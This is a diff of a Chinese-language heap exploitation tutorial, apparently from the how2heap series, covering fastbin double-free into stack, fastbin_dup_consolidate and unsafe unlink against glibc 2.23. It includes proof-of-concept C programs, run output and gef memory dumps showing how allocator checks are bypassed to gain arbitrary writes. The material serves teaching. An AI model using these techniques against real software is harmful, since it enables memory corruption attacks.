fastbin_dup_into_stack +### fastbin_dup_into_stack + ```c #include #include @@ -418,9 +449,10 @@ int main() { fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g); } ``` -``` -$ gcc -g fastbin_dup_into_stack.c -$ ./a.out + +```text +$ gcc -g fastbin_dup_into_stack.c +$ ./a.out Allocating 3 buffers. 1st malloc(9) 0xcf2010 points to AAAAAAAA 2nd malloc(9) 0xcf2030 points to BBBBBBBB @@ -434,38 +466,44 @@ Allocating 4 buffers. 6rd malloc(9) 0xcf2010 points to FFFFFFFF 7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG ``` + 这个程序展示了怎样通过修改 fd 指针,将其指向一个伪造的 free chunk,在伪造的地址处 malloc 出一个 chunk。该程序大部分内容都和上一个程序一样,漏洞也同样是 double-free,只有给 fd 填充的内容不一样。 三个 malloc 之后: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a -0x602010: 0x4141414141414141 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk -0x602070: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk +0x602070: 0x0000000000000000 ``` + 三个 free 之后: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice] -0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] -0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed twice] +0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected] ``` + 这一次 malloc 之后,我们不再填充无意义的 "DDDDDDDD",而是填充一个地址,即栈地址减去 0x8,从而在栈上伪造出一个 free 的 chunk(当然也可以是其他的地址)。这也是为什么 `stack_var` 被我们设置为 `0x21`(或`0x20`都可以),其实是为了在栈地址减去 0x8 的时候作为 fake chunk 的 size 字段。 glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。 + ```c /* offset 2 to use otherwise unindexable first 2 bins */ #define fastbin_index(sz) \ @@ -487,53 +525,60 @@ glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对 } } ``` + 简单地说就是 fake chunk 的 size 与 double-free 的 chunk 的 size 相同即可。 -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d -0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] -0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer -0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ p &stack_var +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d +0x602010: 0x00007fffffffdc30 0x0000000000000000 <-- fd pointer +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed] +0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer +0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ p &stack_var $4 = (unsigned long long *) 0x7fffffffdc38 gef➤ x/5gx 0x7fffffffdc38-0x8 -0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed] -0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer -0x7fffffffdc50: 0x0000000000602030 -gef➤ heap bins fast +0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk [seems to be freed] +0x7fffffffdc40: 0x0000000000602010 0x0000000000602010 <-- fd pointer +0x7fffffffdc50: 0x0000000000602030 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index] ``` + 可以看到,伪造的 chunk 已经由指针链接到 fastbins 上了。之后 malloc 两次,即可将伪造的 chunk 移动到链表头部: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 -0x602010: 0x4646464646464646 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 -0x602030: 0x4545454545454545 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000021 -0x602050: 0x4343434343434343 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000020fa1 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 +0x602010: 0x4646464646464646 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 +0x602030: 0x4545454545454545 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000021 +0x602050: 0x4343434343434343 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000020fa1 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] ← Chunk(addr=0x7fffffffdc40, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602020, size=0x0, flags=) [incorrect fastbin_index] ``` + 再次 malloc,即可在 fake chunk 处分配内存: -``` + +```text gef➤ x/5gx 0x7fffffffdc38-0x8 -0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk -0x7fffffffdc40: 0x4747474747474747 0x0000000000602000 -0x7fffffffdc50: 0x0000000000602030 +0x7fffffffdc30: 0x0000000000000000 0x0000000000000021 <-- fake chunk +0x7fffffffdc40: 0x4747474747474747 0x0000000000602000 +0x7fffffffdc50: 0x0000000000602030 ``` 所以对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。 -#### fastbin_dup_consolidate +### fastbin_dup_consolidate + ```c #include #include @@ -565,9 +610,10 @@ int main() { fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5); } ``` -``` -$ gcc -g fastbin_dup_consolidate.c -$ ./a.out + +```text +$ gcc -g fastbin_dup_consolidate.c +$ ./a.out Allocated two fastbins: p1=0x17c4010 p2=0x17c4030 Now free p1! Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050 @@ -576,58 +622,66 @@ Trigger the double free vulnerability! We can pass the check in malloc() since p1 is not fast top. Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x17c4010 0x17c4010 ``` + 这个程序展示了利用在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查,这个检查在 fastbin_dup 中已经展示过了,只不过它利用的是在两次 free 中间插入一次对其它 chunk 的 free。 首先分配两个 fast chunk: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 -0x602010: 0x4141414141414141 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 +0x602010: 0x4141414141414141 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 ``` + 释放掉 p1,则空闲 chunk 加入到 fastbins 中: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] -0x602010: 0x0000000000000000 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x0000000000000000 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000020fc1 <-- top chunk +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] -Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ``` + 此时如果我们再次释放 p1,必然触发 double free 异常,然而,如果此时分配一个 large chunk,效果如下: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] -0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer -0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed] +0x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] 0x00 -gef➤ heap bins small +gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[1]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) [+] Found 1 chunks in 1 small non-empty bins. ``` + 可以看到 fastbins 中的 chunk 已经不见了,反而出现在了 small bins 中,并且 chunk p2 的 prev_size 和 size 字段都被修改。 看一下 large chunk 的分配过程: + ```c /* If this is a large request, consolidate fastbins before continuing. @@ -647,65 +701,73 @@ gef➤ heap bins small malloc_consolidate (av); } ``` + 当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。 由于此时 p1 已经不在 fastbins 的顶部,可以再次释放 p1: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed] -0x602010: 0x0000000000000000 0x00007ffff7dd1b88 -0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [double freed] +0x602010: 0x0000000000000000 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] -Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) -gef➤ heap bins small +Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) +gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[1]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) [+] Found 1 chunks in 1 small non-empty bins. ``` + p1 被再次放入 fastbins,于是 p1 同时存在于 fabins 和 small bins 中。 第一次 malloc,chunk 将从 fastbins 中取出: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4 -0x602010: 0x0043434343434343 0x00007ffff7dd1b88 -0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 -gef➤ heap bins fast +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p1 [be freed], chunk p4 +0x602010: 0x0043434343434343 0x00007ffff7dd1b88 +0x602020: 0x0000000000000020 0x0000000000000020 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 +gef➤ heap bins fast [ Fastbins for arena 0x7ffff7dd1b20 ] Fastbins[idx=0, size=0x10] 0x00 -gef➤ heap bins small +gef➤ heap bins small [ Small Bins for arena 'main_arena' ] [+] small_bins[1]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) [+] Found 1 chunks in 1 small non-empty bins. ``` + 第二次 malloc,chunk 从 small bins 中取出: -``` + +```text gef➤ x/15gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5 -0x602010: 0x4444444444444444 0x00007ffff7dd1b00 -0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2 -0x602030: 0x4242424242424242 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk p4, chunk p5 +0x602010: 0x4444444444444444 0x00007ffff7dd1b00 +0x602020: 0x0000000000000020 0x0000000000000021 <-- chunk p2 +0x602030: 0x4242424242424242 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000411 <-- chunk p3 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 ``` + chunk p4 和 p5 在同一位置。 -#### unsafe_unlink +### unsafe_unlink + ```c #include #include @@ -739,10 +801,10 @@ int main() { // int *a[10]; // int i; // for (i = 0; i < 7; i++) { - // a[i] = malloc(0x80); + // a[i] = malloc(0x80); // } // for (i = 0; i < 7; i++) { - // free(a[i]); + // free(a[i]); // } free(chunk1_ptr); @@ -755,9 +817,10 @@ int main() { fprintf(stderr, "New Value: %s\n", victim_string); } ``` -``` -$ gcc -g unsafe_unlink.c -$ ./a.out + +```text +$ gcc -g unsafe_unlink.c +$ ./a.out The global chunk0_ptr is at 0x601070, pointing to 0x721010 The victim chunk we are going to corrupt is at 0x7210a0 @@ -767,9 +830,11 @@ Fake chunk bk: 0x601060 Original value: AAAAAAAA New Value: BBBBBBBB ``` + 这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。 Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有一些对前后堆块的检查,也是我们需要绕过的: + ```c /* Take a chunk off a bin list */ #define unlink(AV, P, BK, FD) { \ @@ -804,166 +869,184 @@ Ubuntu16.04 使用 libc-2.23,其中 unlink 实现的代码如下,其中有 } \ } ``` + 在解链操作之前,针对堆块 P 自身的 fd 和 bk 检查了链表的完整性,即判断堆块 P 的前一块 fd 的指针是否指向 P,以及后一块 bk 的指针是否指向 P。 malloc\_size 设置为 0x80,可以分配 small chunk,然后定义 header_size 为 2。申请两块空间,全局指针 `chunk0_ptr` 指向 chunk0,局部指针 `chunk1_ptr` 指向 chunk1: -``` -gef➤ p &chunk0_ptr + +```text +gef➤ p &chunk0_ptr $1 = (uint64_t **) 0x601070 -gef➤ x/gx &chunk0_ptr -0x601070 : 0x0000000000602010 -gef➤ p &chunk1_ptr +gef➤ x/gx &chunk0_ptr +0x601070 : 0x0000000000602010 +gef➤ p &chunk1_ptr $2 = (uint64_t **) 0x7fffffffdc60 -gef➤ x/gx &chunk1_ptr -0x7fffffffdc60: 0x00000000006020a0 +gef➤ x/gx &chunk1_ptr +0x7fffffffdc60: 0x00000000006020a0 gef➤ x/40gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 -0x602010: 0x0000000000000000 0x0000000000000000 -0x602020: 0x0000000000000000 0x0000000000000000 -0x602030: 0x0000000000000000 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000000 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 0x0000000000000000 -0x602080: 0x0000000000000000 0x0000000000000000 -0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 -0x6020a0: 0x0000000000000000 0x0000000000000000 -0x6020b0: 0x0000000000000000 0x0000000000000000 -0x6020c0: 0x0000000000000000 0x0000000000000000 -0x6020d0: 0x0000000000000000 0x0000000000000000 -0x6020e0: 0x0000000000000000 0x0000000000000000 -0x6020f0: 0x0000000000000000 0x0000000000000000 -0x602100: 0x0000000000000000 0x0000000000000000 -0x602110: 0x0000000000000000 0x0000000000000000 -0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk -0x602130: 0x0000000000000000 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x602010: 0x0000000000000000 0x0000000000000000 +0x602020: 0x0000000000000000 0x0000000000000000 +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000000000 +0x6020c0: 0x0000000000000000 0x0000000000000000 +0x6020d0: 0x0000000000000000 0x0000000000000000 +0x6020e0: 0x0000000000000000 0x0000000000000000 +0x6020f0: 0x0000000000000000 0x0000000000000000 +0x602100: 0x0000000000000000 0x0000000000000000 +0x602110: 0x0000000000000000 0x0000000000000000 +0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk +0x602130: 0x0000000000000000 0x0000000000000000 ``` 接下来要绕过 `(P->fd->bk != P || P->bk->fd != P) == False` 的检查,这个检查有个缺陷,就是 fd/bk 指针都是通过与 chunk 头部的相对地址来查找的。所以我们可以利用全局指针 `chunk0_ptr` 构造 fake chunk 来绕过它: -``` + +```text gef➤ x/40gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 -0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P -0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer -0x602030: 0x0000000000000000 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000000 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 0x0000000000000000 -0x602080: 0x0000000000000000 0x0000000000000000 -0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size -0x6020a0: 0x0000000000000000 0x0000000000000000 -0x6020b0: 0x0000000000000000 0x0000000000000000 -0x6020c0: 0x0000000000000000 0x0000000000000000 -0x6020d0: 0x0000000000000000 0x0000000000000000 -0x6020e0: 0x0000000000000000 0x0000000000000000 -0x6020f0: 0x0000000000000000 0x0000000000000000 -0x602100: 0x0000000000000000 0x0000000000000000 -0x602110: 0x0000000000000000 0x0000000000000000 -0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk -0x602130: 0x0000000000000000 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x602010: 0x0000000000000000 0x0000000000000000 <-- fake chunk P +0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 <-- prev_size +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000000000 +0x6020c0: 0x0000000000000000 0x0000000000000000 +0x6020d0: 0x0000000000000000 0x0000000000000000 +0x6020e0: 0x0000000000000000 0x0000000000000000 +0x6020f0: 0x0000000000000000 0x0000000000000000 +0x602100: 0x0000000000000000 0x0000000000000000 +0x602110: 0x0000000000000000 0x0000000000000000 +0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk +0x602130: 0x0000000000000000 0x0000000000000000 gef➤ x/5gx 0x601058 -0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD -0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer -0x601078: 0x0000000000000000 +0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD +0x601068: 0x0000000000000000 0x0000000000602010 <-- bk pointer +0x601078: 0x0000000000000000 gef➤ x/5gx 0x601060 -0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK -0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer -0x601080: 0x0000000000000000 +0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK +0x601070: 0x0000000000602010 0x0000000000000000 <-- fd pointer +0x601080: 0x0000000000000000 ``` + 可以看到,我们在 chunk0 里构造一个 fake chunk,用 P 表示,两个指针 fd 和 bk 可以构成两条链:`P->fd->bk == P`,`P->bk->fd == P`,可以绕过检查。另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 `prev_size` 为 fake chunk 的大小,修改 `PREV_INUSE` 标志位为 0,将 fake chunk 伪造成一个 free chunk。 接下来就是释放掉 chunk1,这会触发 fake chunk 的 unlink 并覆盖 `chunk0_ptr` 的值。unlink 操作是这样进行的: + ```c FD = P->fd; BK = P->bk; FD->bk = BK BK->fd = FD ``` + 根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于: -``` + +```text FD = P->fd = &P - 24 BK = P->bk = &P - 16 FD->bk = *(&P - 24 + 24) = P FD->fd = *(&P - 16 + 16) = P ``` + 这样就通过了 unlink 的检查,最终效果为: -``` + +```text FD->bk = P = BK = &P - 16 BK->fd = P = FD = &P - 24 ``` + 原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果程序功能允许堆 P 进行写入,就能改写 P 指针自身的地址,从而造成任意内存写入。若允许堆 P 进行读取,则会造成信息泄漏。 在这个例子中,由于 P->fd->bk 和 P->bk->fd 都指向 P,所以最后的结果为: -``` + +```text chunk0_ptr = P = P->fd ``` + 成功地修改了 chunk0_ptr,这时 `chunk0_ptr` 和 `chunk0_ptr[3]` 实际上就是同一东西。这里可能会有疑惑为什么这两个东西是一样的,因为 `chunk0_ptr` 指针在是放在数据段上的,地址在 `0x601070`,指向 `0x601058`,而 `chunk0_ptr[3]` 的意思是从 `chunk0_ptr` 指向的地方开始数 3 个单位,所以 `0x601058+0x08*3=0x601070`: -``` + +```text gef➤ x/40gx 0x602010-0x10 -0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 -0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P -0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer -0x602030: 0x0000000000000000 0x0000000000000000 -0x602040: 0x0000000000000000 0x0000000000000000 -0x602050: 0x0000000000000000 0x0000000000000000 -0x602060: 0x0000000000000000 0x0000000000000000 -0x602070: 0x0000000000000000 0x0000000000000000 -0x602080: 0x0000000000000000 0x0000000000000000 -0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed] -0x6020a0: 0x0000000000000000 0x0000000000000000 -0x6020b0: 0x0000000000000000 0x0000000000000000 -0x6020c0: 0x0000000000000000 0x0000000000000000 -0x6020d0: 0x0000000000000000 0x0000000000000000 -0x6020e0: 0x0000000000000000 0x0000000000000000 -0x6020f0: 0x0000000000000000 0x0000000000000000 -0x602100: 0x0000000000000000 0x0000000000000000 -0x602110: 0x0000000000000000 0x0000000000000000 -0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk -0x602130: 0x0000000000000000 0x0000000000000000 +0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 0 +0x602010: 0x0000000000000000 0x0000000000020ff1 <-- fake chunk P +0x602020: 0x0000000000601058 0x0000000000601060 <-- fd, bk pointer +0x602030: 0x0000000000000000 0x0000000000000000 +0x602040: 0x0000000000000000 0x0000000000000000 +0x602050: 0x0000000000000000 0x0000000000000000 +0x602060: 0x0000000000000000 0x0000000000000000 +0x602070: 0x0000000000000000 0x0000000000000000 +0x602080: 0x0000000000000000 0x0000000000000000 +0x602090: 0x0000000000000080 0x0000000000000090 <-- chunk 1 [be freed] +0x6020a0: 0x0000000000000000 0x0000000000000000 +0x6020b0: 0x0000000000000000 0x0000000000000000 +0x6020c0: 0x0000000000000000 0x0000000000000000 +0x6020d0: 0x0000000000000000 0x0000000000000000 +0x6020e0: 0x0000000000000000 0x0000000000000000 +0x6020f0: 0x0000000000000000 0x0000000000000000 +0x602100: 0x0000000000000000 0x0000000000000000 +0x602110: 0x0000000000000000 0x0000000000000000 +0x602120: 0x0000000000000000 0x0000000000020ee1 <-- top chunk +0x602130: 0x0000000000000000 0x0000000000000000 gef➤ x/5gx 0x601058 -0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD -0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer -0x601078: 0x0000000000000000 +0x601058: 0x0000000000000000 0x00007ffff7dd2540 <-- fake chunk FD +0x601068: 0x0000000000000000 0x0000000000601058 <-- bk pointer +0x601078: 0x0000000000000000 gef➤ x/5gx 0x601060 -0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK -0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer -0x601080: 0x0000000000000000 -gef➤ x/gx chunk0_ptr -0x601058: 0x0000000000000000 +0x601060: 0x00007ffff7dd2540 0x0000000000000000 <-- fake chunk BK +0x601070: 0x0000000000601058 0x0000000000000000 <-- fd pointer +0x601080: 0x0000000000000000 